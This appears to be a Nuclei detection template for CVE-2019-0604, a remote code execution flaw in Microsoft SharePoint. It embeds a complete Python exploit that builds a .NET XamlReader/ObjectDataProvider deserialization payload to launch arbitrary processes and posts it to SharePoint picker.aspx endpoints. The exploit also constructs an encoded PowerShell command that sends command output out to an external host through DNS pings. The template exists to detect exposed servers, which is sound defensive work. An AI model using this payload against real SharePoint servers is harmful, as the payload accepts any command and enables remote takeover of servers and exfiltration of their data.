漏洞描述
Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
id: CVE-2019-0604
info:
name: Microsoft SharePoint - Remote Code Execution
author: tree-chtsec,pszyszkowski
severity: critical
description: |
Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
remediation: |
Fixed in security update published Feb 12, 2019
reference:
- https://github.com/Gh0st0ne/weaponized-0604
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
- https://nvd.nist.gov/vuln/detail/cve-2019-0604
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.94411
epss-percentile: 0.99975
metadata:
verified: true
vendor: microsoft
product: sharepoint
shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
tags: cve,cve2019,sharepoint,microsoft,rce,kev
variables:
OAST: "{{interactsh-url}}"
marker: "{{randbase(5)}}"
code:
- engine:
- py
- python3 #pip install lxml{required}
source: |
import os
import sys
import base64
import argparse
from copy import deepcopy
import urllib3
import requests
import lxml.html
import codecs
from xml.sax.saxutils import escape
urllib3.disable_warnings()
default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
host = os.getenv('RootURL')
domain = os.getenv('OAST')
user = os.getenv('username')
pswd = os.getenv('password')
def html_escape(s):
_ = escape(s)
_ = _.replace('"', '"')
return _
def _0604(cmd):
if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
_bin, _arg = cmd.split(' ', 1)
else:
_bin = 'cmd'
_arg = '/c ' + cmd
payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
return '__bp' + format(len(o), 'x')[::-1] + o
def main():
auth = ''
cmd = 'echo ' + os.getenv('marker')
if (user != None) and (pswd != None):
auth = user + ':' + pswd
ntlm = True
else:
ntlm = False
if host is None:
print("missing target. You must specify -u <url>")
exit(1)
if domain is not None:
print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
__var_raw = '$a'
__var_hex = '$b'
__dns_code = '''
$bl = %(v_hex)s.length;$l = 60;$i = 0;
while($i -lt $bl) {
$l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
$v = %(v_hex)s.substring($i, $l);
ping -n 1 "$i.$v.%(domain)s";
$i += $l; }
'''.strip() % dict(domain=domain, v_hex=__var_hex)
__post_code = '''
iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
'''.strip() % dict(domain=domain, v_raw=__var_raw)
__code = '''
%(v_raw)s = %(cmd)s;
$Encode = new-object "System.Text.UTF8Encoding";
$bytearray = $Encode.GetBytes(%(v_raw)s);
%(v_hex)s = "";
Foreach ($i in $bytearray) {
%(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
}
'''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
__code += __dns_code
__code = base64.b64encode(__code.encode('UTF-16LE')).decode()
cmd = 'powershell -ep bypass -enc %s' % (__code)
print(cmd)
if ntlm:
from requests_ntlm import HttpNtlmAuth
_auth = HttpNtlmAuth(*auth.split(':', 1))
else:
_auth = None
_headers = {'User-Agent': default_ua}
req_kwargs = {
'headers': _headers,
'auth': _auth,
'verify': False
}
def auto_sp_attack(kwargs):
for item in paths:
url = os.getenv('RootURL') + item
# get sharepoint version (2019,2016 / 2013 / 2010)
res = requests.get(url, **kwargs)
spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
# get viewstate & ev from picker.aspx
if res.status_code != 200:
print('%s failed [%s]' % (item, res.status_code))
continue
else:
break
rt = lxml.html.fromstring(res.content)
spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
kwargs['data'] = {
'__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
'__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
}
payload = _0604(cmd)
kwargs['data'][spandata] = payload
return requests.post(url, **kwargs)
attack_fn = auto_sp_attack
res = attack_fn(deepcopy(req_kwargs))
if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
print('%s succeded (%s)' % (res.url, res.status_code))
if __name__ == '__main__':
main()
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4b0a00483046022100aa64608c91ad7a76f0143c60ffd194f95ba4365b00a8b40eb04f9fed6e88dd140221009fe22151eab4d29abd3874ee04eee1d32d8fe52d2ed79e548a36e4ae42dc07d8:922c64590222798bb761d5b6d8e72950